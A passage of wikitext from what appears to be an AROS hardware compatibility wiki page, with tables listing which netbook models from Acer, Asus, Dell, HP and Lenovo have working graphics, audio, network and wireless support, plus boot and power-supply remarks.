| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|- style=&quot;background:lightgrey; {{text default color}}; text-align:center; font-weight:bold;&quot;
| Name || Chipset || IDE || SATA || Gfx || Audio || USB || Ethernet || Wireless || Test Distro || Comments 
|-
| &lt;!--Name--&gt;Any Razor Razer laptops || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;AVOID unable to remove secure boot 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


===Netbook=== 

[[#top|...to the top]]

* PC to write Aros image onto an USB pendrive with Raspberry PI writer, USB writer or Rufus for boot purposes on a netbook 
* SD card sometimes can boot like Dell 2100,  EeePC 1001P, ASUS EeePC 900, acer aspire one d150, MSI Wind U100, 


====Acer Packard Bell Netbooks====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| Aspire One AOA110 (A110) (ZG5) || Intel 945GSE || {{N/A}} || {{Maybe|IDE legacy mode}} || {{Yes|Intel GMA (2D and 3D) tunnel 99 and gearbox 84 score}} || {{Yes|HD Audio ALC6628}} || {{Yes|USB1.1 and USB2.0}} || {{Yes|rtl8169 RTL8101E}} || {{Yes|AR5006}} atheros 5k || 2016 AspireOS 1.8, 2025 Aros One 2.6 32bit USB || 2007 32bit 1 core - 19v barrel A13-045N2A 19V2.37A 45W 5.5x1.7mm - 
|-
| Aspire One AOA150 (A150) (ZG5) || Intel 945GSE || {{N/A}} || {{Maybe|ide mode}} || {{Yes|Intel GMA 2D and accelerated 3D with tunnel 99 and gearbox 84.1 result}} || {{Yes|HD Audio ALC6628}} || {{Yes|uhci and ehci}} || {{Yes|rtl8169 RTL8101E}} || {{Yes|AR5006}} atheros 5k || 2016 AspireOS 1.8, 2025 aros one 2.6 32bit USB || 2007 32bit 1 core - 19v barrel - 
|-
| Aspire One AOD150 D150 (Compal LA-4781P), AOD110 D110 (ssd) || Intel 945GME || {{N/A}} || {{Maybe|ide legacy}} || {{Yes|Intel GMA 950 (2D)}} || {{Yes|HDAudio with alc272}} || {{Yes|USB}} || {{No|Atheros AR8121 AR8113 AR8114 l1e}} || {{Maybe|AR5007EG AR5BXB63 works but Broadcom BCM4312 has no support}} || 2010 Icaros Desktop 1.3, 2024 Aros one 32bit USB || 2008 32bit 1 core - 19v barrel - 
|-
| Aspire One (ZG8) || Intel 945G and N270 || {{N/A}} || {{Maybe|ide mode}} || {{Yes|Intel GMA 2D and accelerated 3D}} || {{maybe|HD Audio }} || {{Yes|uhci and ehci}} || {{No|Broadcom }} || {{no|Intel}} || 2014 AspireOS 1.8 || 2009 32bit - 
|-
| Aspire One AOD250 D250 emachines em250 || 945GME || {{N/A}} || {{Maybe|ide legacy}} || {{Yes|Intel GMA (2D)}} || {{Yes|alc272 HD Audio}}  || {{Yes}} || {{No|AR8132 (L1c)}} || {{No|BCM4312 or Atheros AR5B95}} || 2010 Icaros 1.3 || 2009 32bit 1 core - 19v barrel - 
|-
| &lt;!--Name--&gt;Aspire AO532H (Compal LA-5651p) 533H Pineview || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt;{{Yes|HD Audio playback}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|AR8132 (L1c)}} || &lt;!--Wireless--&gt;{{No|Atheros 9k}} || [http://www.amigaworld.net/modules/news/article.php?mode=flat&amp;order=0&amp;item_id=5968 Tested AspireOS June 2011] || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;emachines eM350 NAV51 || &lt;!--Chipset--&gt; with N450 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel 3150 || &lt;!--Audio--&gt;HD Audio with   codec || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt;Icaros 2.2 || &lt;!--Comments--&gt;Single core 64bit - 160GB HDD 1GB RAM 10.1&quot; LED backlit screen and  Webcam - 3 cell li-ion battery for 3 hours usage - 
|-
| &lt;!--Name--&gt;emachines eM355 || &lt;!--Chipset--&gt;  with N455 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;64bit support possible - 
|-
| &lt;!--Name--&gt;Aspire One 533 || &lt;!--Chipset--&gt;N455 with NM10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes}} || &lt;!--Gfx--&gt;{{Yes|2D 0x8086 0xa011}} || &lt;!--Audio--&gt;{{Yes| ALC272 codec ich7}} || &lt;!--USB--&gt;{{Yes}} || &lt;!--Ethernet--&gt;{{No|Atheros AR8152 v1.1 1c}} || &lt;!--Wireless--&gt;{{No|Broadcom 4313}} || &lt;!--Test Distro--&gt;2016 Icaros 2.1 and AROS One 2.3 || &lt;!--Comments--&gt;2011 64bit - f2 setup - 10.1inch 1024 x 768 - 
|-
| Aspire One AOD255 AOD255e AOD260 AOHAPPY (Compal LA-6221P) || N570 and Nm10 || {{N/A}} || {{Maybe|SATA}} || {{Maybe|Intel GMA 3150}} || Audio || USB || {{No|Atheros AR8152 V1.1 (1lc)}} || {{No|Broadcom BCM4313}} || || a little support 
|-
| Aspire One 522 AO522 (Compal LA-7072p) || 1GHz dual C-50 C50 or C-60 C60 + Hudson M1 || {{N/A}} || SATA || AMD 6250 (ATI 9804) or 6290 || ATI SB CX20584 HD Audio || USB || Atheros 8152 v2.0 l1c || {{No|Broadcom BCM4313 or Atheros ath9k}} || ||
|-
| &lt;!--Name--&gt;AAOD270 Aspire One D270 || &lt;!--Chipset--&gt;N2600 Cedarview || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes| }} || &lt;!--Gfx--&gt;{{Yes|2D on Intel GMA 3650}} || &lt;!--Audio--&gt;{{Yes| }} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{Yes|RTL 8169 RTL8101E}} || &lt;!--Wireless--&gt;{{No|Broadcom BCM4313 but swap for Atheros 5k}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;2011 64bit atom - ddr2 so-dimm 2gb max - 
|-
| &lt;!--Name--&gt;Aspire One AO532G (Compal LA-6091p) || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Aspire One D257 (Quanta ZE6) || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Acer Aspire One 722 AO722 P1VE6 || &lt;!--Chipset--&gt;AMD C-60 C60 with SB900 || &lt;!--IDE--&gt;{{N/A| }} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Maybe| use VESA Ati 6290}} || &lt;!--Audio--&gt;{{Yes|HD Audio with  codec but no Wrestler HDMI output}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Qualcomm Atheros AR8152 v2.0}} || &lt;!--Wireless--&gt;{{unk|Atheros AR9485}} || &lt;!--Test Distro--&gt;2017 Icaros 2.1.2 || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Aspire One AO721 (Wistron SJV10-NL) || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;AO751 AO751H (Quanta ZA3) || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Packard Bell Dot .S || &lt;!--Chipset--&gt;N280 + || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{maybe|legacy}} || &lt;!--Gfx--&gt;{{yes|Intel GMA950 (2D)}}|| &lt;!--Audio--&gt;HD Audio ALC272X || &lt;!--USB--&gt; USB2.0 || &lt;!--Ethernet--&gt; {{no|Atheros l1e}} || &lt;!--Wireless--&gt;{{no|Atheros 9k}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Packard Bell Dot .SE || &lt;!--Chipset--&gt;N450 + || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;legacy || &lt;!--Gfx--&gt;Intel GMA950 (2D) || &lt;!--Audio--&gt;HD Audio ALC|| &lt;!--USB--&gt;USB2.0 || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Packard Bell Dot .S2 NAV50 || &lt;!--Chipset--&gt;N455 NM10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel X3150 || &lt;!--Audio--&gt;HD Audio ALC269 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Atheros || &lt;!--Wireless--&gt;Atheros || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt;Packard Bell Dot M/A || &lt;!--Chipset--&gt;1.2GHz Athlon L110 + RS690E || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;legacy mode? || &lt;!--Gfx--&gt;AMD ATI Radeon Xpress X1270 (VESA only) || &lt;!--Audio--&gt;HD Audio ATI SBx00 || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;Realtek RTL8101E RTL8102E rtl8169 || &lt;!--Wireless--&gt;{{unk|Atheros AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Opinion--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====Asus Netbooks====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| [http://wiki.debian.org/DebianEeePC/Models eeePC] 700 701 2G 4G 8G Surf || Intel 910GML + ICH7 || {{N/A}} || {{Maybe|IDE legacy mode}} || {{Yes|Intel GMA 900 2D and 3D tunnel 68 gearbox 43 on 701 800x480}} || {{Yes|ALC662 HD Audio}} || {{Yes|UHCI and EHCI}} || {{No|Atheros L2}} || {{Yes|Atheros 5k AR5007EG (AR2425 works}} || 2016 Icaros 2.1.1, 2.1.2, Aros One 2.5 32bit USB, || 2007 32bit - power supplies fail due to bad caps issue 9.5V 2.5A 24W Charger AD59930 4.8*1.7MM - 
|-
| [http://wiki.debian.org/DebianEeePC/Models eeePC] 701SD || Intel 910GML + ICH7 || {{N/A}} || {{Maybe|IDE legacy mode}} || {{Maybe|Intel GMA 900 (2D)}} || {{Yes|ALC662 HD Audio}} || {{Yes|UHCI and EHCI}} || {{No|Atheros L2}} || {{No|RTL8187SE swap with Atheros 5k}} || 2014 AspireOS 1.7,  || 2007 32bit - boot issues but does boot with ATA=32bit,nopoll or ATA=nodma,nopoll 
|-
| [http://wiki.debian.org/DebianEeePC/Models eeePC] 900 || Intel 910GML + ICH7 || {{N/A}} || {{Maybe|IDE legacy mode}} || {{Maybe|Intel GMA 900 (2D, 3D in some models)}} || {{Yes|ALC662 HD Audio}} || {{Yes|UHCI and EHCI}} || {{No|Atheros L2}} || {{Maybe|depends on chipset AR5007EG (AR2425) works but not RaLink}} || 2014 AspireOS 1.7,  || 2008 32bit - boot issues but does boot with ATA=32bit,nopoll or ATA=nodma,nopoll. 900's may need BIOS upgrade to boot usb optical drives. 3D available in some model revisions - AD59230 9.5v 2.31a psu - 
|-
| eeePC 900A || 945GSE || {{N/A}} || {{Maybe|IDE legacy mode}} || {{Yes|Intel GMA 950 (3D)}} || {{Yes|HD Audio ALC269}} || {{Yes|USB2.0}} || {{No|Atheros L1e [1969 1026]}} || {{Yes|Atheros 5k AR242x}} || Nightly Build 2012, 2023 Aros One 32bit 2.4 || 2009 32bit 
|-
| eeePC 901 1000 || 945GM || {{N/A}} || {{Maybe|IDE legacy mode}} || {{yes|Intel GMA 950 (2D)}} || {{Yes|ALC269 HD Audio}} || {{Yes|USB}} || {{No|Atheros L1E (AR8121 AR8113 AR8114)}} || {{No|RaLink Device 2860 swap with Atheros 5k}} || 2011 Icaros 1.4,  || 2009 32bit -  12v 3a psu - 
|-
| eeePC Seashell 1000HA 1000HE 1008 1005HA || N280 + Intel GMA950 || {{N/A}} || SATA || {{Yes|Intel GMA (2D)}} || {{Yes|HD Audio ALC269}} || {{Yes|USB}} || {{Maybe|Realtek but not Atheros AR8132 (L1c)}} || {{unk|Atheros AR9285}} || 2014 Aspire OS 1.6,  || 2010 32bit -  12v 3a psu - 
|-
| &lt;!--Name--&gt;eeePC 1001ha || &lt;!--Chipset--&gt;GMA945 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;legacy || &lt;!--Gfx--&gt;Intel GMA 950 (2D) || &lt;!--Audio--&gt;ALC269 HD Audio || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Attansic Atheros AR8132 l1c}} || &lt;!--Wireless--&gt;{{No|RaLink RT3090 swap with Atheros 5k}} || &lt;!--Test Distro--&gt;untested || &lt;!--Opinion--&gt;2010 32bit  
|-
| eeePC 1001P T101MT 1005PX 1005PE 1015PE Pineview 1001PXD || NM10 and N450 N455 CPU || {{N/A}} || {{Maybe|IDE mode}} || {{Yes|Intel GMA 3150 (2D)}} || {{Yes|HD Audio}} || {{Yes|USB 2.0}} || {{No|Atheros AR8132 (l1c)}} || {{unk|Atheros AR928x 802.11n}} || 2010 Icaros 1.3.3,  || 2011 64bit - 19V 2.1A 2.3x0.7 - 
|-
| EeePC 1015B 1215B || single C-30 C30 or dual C-50 C50 + Hudson M1 || {{N/A}} || SATA || {{partial|AMD 6250 (VESA only)}} || ATI SBx00 HD Audio || USB || {{No|AR8152 v2.0 atl1c}} || {{No|Broadcom BCM4313 [14e4 4727]}} || untested recently || 2011 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt;Flare X101CH Cedarview || &lt;!--Chipset--&gt;N2600 + N10 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;Intel GMA 6300 || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Atheros l1c 2.0}} || &lt;!--Wireless--&gt;{{unk|Atheros 9k AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit 
|-
| &lt;!--Name--&gt;Flare 1025CE 1225CE || &lt;!--Chipset--&gt;N2800 + N10 || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{dunno|Intel GMA 3600}} || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{No|Atheros l1c 2.0}} || &lt;!--Wireless--&gt;{{unk|Atheros 9k AR9285}} || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;2012 64bit 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====Dell Netbooks====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| Inspiron 910 Mini 9 PP39S Vostro A90 || GMA945 || {{Maybe|STEC 8G 16G 32G IDE PATA Parallel ATA miniPCIE SSD 50MM / 70MM very slow}} || {{N/A| }} || {{yes|Intel GMA 2D and 3D opengl1}} || {{yes|ALC268 HD Audio}} || {{yes|USB2 boots and works}} || {{yes|rtl8169 Realtek RTL8102E}} || {{no|Broadcom BCM4310 and 4312 swap with atheros 5k bx32}} || ICAROS 1.3 but Icaros 2.3 (pci issues), AROS One 2.6 and Tiny AROS (digiclock startup) mouse cursor vanishes || 2008 32bit - 9inch 1024x600 screen - 1 ddr2 sodimm slot max 2gig - 19v 1.58a - 0 boot disk select - cr2032 battery under laptop base cover, while mem 2GB max under base flap - 
|-
| &lt;!--Name--&gt;Inspiron Mini 10 1010 PP19S || &lt;!--Chipset--&gt;Atom Z520 Z530 Intel US15W Poulsbo || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{maybe|Intel GMA 500 (VESA only)}} || &lt;!--Audio--&gt;{{Maybe|HD Audio ALC269 codec}} || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt;{{yes|rtl8169 RTL8102E}} || &lt;!--Wireless--&gt;{{no|Intel or BCM4312}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2008 32bit - 10.10 inch 16:9, 1366 x 768 glossy - 28whr or 56wHr battery options - 
|-
| [https://wiki.ubuntu.com/HardwareSupport/Machines/Netbooks#Dell%20Mini%2010v%20(Inspiron%201011) Mini 10v 1011] [http://wiki.debian.org/InstallingDebianOn/Dell/InspironMini10v]|| Intel 950 || {{N/A}} || {{maybe|ide legacy mode}} || {{yes|Intel GMA (2D)}}  || {{maybe|HDAudio}} || {{yes|USB}} || {{yes|RTL8102E 8103E}} || {{no|Dell 1397 Wireless}} || untested || 2008 32bit - 
|-
| &lt;!--Name--&gt;Inspiron Mini 1018 || &lt;!--Chipset--&gt;Intel Atom N455 || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{partial|IDE mode }} || &lt;!--Gfx--&gt;{{yes|Intel GMA 3150 (2D, no VGA output)}} || &lt;!--Audio--&gt;{{partial|HD Audio head phones only - speaker and micro phone do not work}} || &lt;!--USB--&gt;{{yes|USB 2.0}} || &lt;!--Ethernet--&gt;{{yes|RTL8169}} || &lt;!--Wireless--&gt;{{unk|RTL8188CE or AR928X}} || &lt;!--Test Distro--&gt;2011 Icaros 1.5.1,  || &lt;!--Comments--&gt;2009 64bit - 1 DDR3 max 2gb - 
|-
| Latitude 2100 || Intel Atom N270 N280 1.60Ghz GMA 945GME || {{N/A}} || {{Yes|set to IDE in bios as ahci not working || {{yes|Intel GMA 950 (2D and 3D with tunnel 98 and gearbox 84)}} || {{yes|HD Audio with ALC272 codec}} || {{yes|USB2.0}} || {{No|Broadcom BCM5764M}} || {{No|Intel 5100 or BCM4322 DW 1510 half height mini pcie use small Atheros 5k}} || &lt;!--Test Distro--&gt;2016 AspireOS 1.8, Icaros 2.1.1 and AROS One USB 2.4 || 2009 32bit ddr2 sodimm max 2G - [https://sites.google.com/site/arosaspireone/about-aspire-one Webcam and card reader not working] lcd cable over hinge an issue - f12 bios and boot - 
|-
| &lt;!--Name--&gt;Latitude 2110 2120 || &lt;!--Chipset--&gt;N470 1.83Ghz, N455 1.6Ghz, N550 1.5Ghz || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt;{{Yes|ATA mode in bios not ahci}} || &lt;!--Gfx--&gt;{{Yes|Intel 3150 2D only}} || &lt;!--Audio--&gt;{{Maybe|HD Audio with ALC269 codec}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt;{{No| }} || &lt;!--Wireless--&gt;{{No| swap for Atheros}} || &lt;!--Test Distro--&gt;2014 Icaros 2.3,  || &lt;!--Comments--&gt;2011 64bit does not support AVX or SSE 4.1 - ddr2 sodimm 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}

====HP Compaq Netbooks====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| HP Mini 2133 || VIA C7-M P4M900 / 8237 VX700 || {{N/A}} || {{maybe|SATA}} || {{maybe|VIA Chrome 9 HC (VESA only)}} || {{no|VT1708/A HD Audio}} || USB || {{no|Broadcom Corp NetXtreme BCM5788}} || {{no|Broadcom Corp BCM4312}} || untested || 2008 32bit - 
|-
| HP mini 1000 Mi 2140 ks145ut || N270 + 945GM || {{N/A}} || SATA || &lt;!--Gfx--&gt;{{Yes|Intel GMA 950 (2D and opengl1 3d)}} || &lt;!--Audio--&gt;{{Yes|HD Audio (playback tested)}} || &lt;!--USB--&gt;{{Yes| }} || {{no|Marvell 88E8040}} || {{no|Broadcom Corp BCM4312 hard blocked}} || untested || 2009 32Bit - unable to change wifi card 
|-
| &lt;!--Name--&gt;HP Mini 700 702 || &lt;!--Chipset--&gt;N270 + 945GSE || &lt;!--IDE--&gt;{{N/A}} || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt;{{Yes|Intel GMA 950 (2D)}} || &lt;!--Audio--&gt;{{Yes|HD Audio IDT 92HD75B (111d:7608, only playback tested)}} || &lt;!--USB--&gt;{{Yes| }} || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt;{{No|Broadcom hard locked}} || &lt;!--Test Distro--&gt;untested || &lt;!--Comments--&gt;2009 32bit - 
|-
| Compaq HP Mini 110 110-3112sa || 945GM Express || {{N/A}} || {{maybe|IDE mode}} || {{yes|Intel GMA 950 (2D)}} || {{yes|HD Audio IDT STAC 92xx}} || {{yes|USB 2.0}} || {{no|Atheros}} || {{no|Broadcom hard blocked Fn+F12}} || untested || 2009 32bit - unable to change wifi 
|-
| HP Mini 200 210 || 945GM NM10 Express || {{N/A}} || SATA || Intel GMA 950 || {{Maybe|HDAudio with }} || USB || RTL8101E RTL8102E || {{no|Broadcom BCM4312 hard locked}} || untested || 2009 32bit - 
|-
| HP Mini 311 DM1 (Quanta FP7) || N280 + ION LE || {{N/A}} || SATA || nVidia Geforce ION || {{maybe|HDAudio with }} || USB || eth || {{No|hard locked}} || untested || 2009 64bit does not support AVX or SSE 4.1 - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|}


====Lenovo Netbooks====

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
! width=&quot;10%&quot; |Wireless 
! width=&quot;5%&quot; |Test Distro
! width=&quot;20%&quot; |Comments
|-
| IdeaPad S9 S9e(3G) S10 S10e(3G) || 945GME || {{N/A}} || {{maybe|SATA}} || {{yes|Intel GMA (2D)}} || {{maybe|ALC269 or SigmaTel HD Audio}} || {{yes|USB}} || {{no|Broadcom NetLink BCM5906M}} || {{no|Broadcom BCM4312 hard blocked}} || untested || 2009 32bit - 
|-
| IdeaPad S12 || Intel Atom N270 + Nvidia ION LE MCP79 || {{N/A}} || SATA || nVidia C79 ION [Quadro FX 470M] || {{maybe|ALC269 HD Audio}} || USB || {{no|Broadcom}} || {{no|Intel locked down}} || 2012 Icaros 2.0,  || 2009 32bit - does not boot - cause unknown 
|-
| S10-2 || 945GME and N280 CPU || {{N/A}} || SATA || {{yes|Intel GMA (2D)}} || {{maybe|ALC269 HD Audio}} || {{yes}} || {{yes|rtl8169}} || {{no|Broadcom BCM4312 hard blocked}} || 2011 Icaros 1.3,  || 2009 32bit - 
|-
| S10-3 || NM410 and N450 CPU || {{N/A}} || SATA || {{yes|Intel GMA 3150 (2D)}} || {{maybe|HD Audio ALC269}} || {{yes|USB}} || {{yes|rtl8169}} || {{no|Atheros 9285 or Broadcom BCM4312 hard blocked}} || 2011 Icaros 1.3,  || 2009 32bit - 
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
| &lt;!--Name--&gt; || &lt;!--Chipset--&gt; || &lt;!--IDE--&gt; || &lt;!--SATA--&gt; || &lt;!--Gfx--&gt; || &lt;!--Audio--&gt; || &lt;!--USB--&gt; || &lt;!--Ethernet--&gt; || &lt;!--Wireless--&gt; || &lt;!--Test Distro--&gt; || &lt;!--Comments--&gt;
|-
|}


====Samsung Netbooks====

[[#top|...to the top]]

{| class=&quot;wikitable sortable&quot; width=&quot;100%&quot;
! width=&quot;10%&quot; |Name
! width=&quot;5%&quot;  |Chipset
! width=&quot;5%&quot;  |IDE
! width=&quot;5%&quot;  |SATA
! width=&quot;10%&quot; |Gfx
! width=&quot;5%&quot;  |Audio
! width=&quot;5%&quot;  |USB
! width=&quot;5%&quot; |Ethernet
